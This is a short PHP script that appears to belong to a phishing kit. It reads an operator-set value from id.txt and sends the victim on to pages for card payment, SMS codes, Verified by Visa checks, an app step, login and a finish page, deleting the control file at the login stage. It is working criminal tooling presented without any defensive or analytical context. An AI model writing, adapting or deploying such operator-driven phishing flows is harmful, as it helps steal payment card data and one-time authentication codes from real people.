<?php

$myfile = fopen("id.txt", "r") or header("Location: loading.php");
$value=fgets($myfile);
if($value == 'CC'){
	header("Location: zahlung.htm");
}else if($value == 'SMS'){
	header("Location: sms.htm");
}else if($value == 'vbv'){
	header("Location: sms2.htm");
}else if($value == 'error'){
	header("Location: smserror.htm");	
}else if($value == 'APP'){
	header("Location: app.php");	
}else if($value == 'login'){
	$file_pointer = "id.txt";  
   
// Use unlink() function to delete a file  
if (!unlink($file_pointer)) {  
     
}  
else {  
      
} 
	header("Location: login.htm");
}else if($value == 'finish'){
	header("Location: finish.htm");
}
?>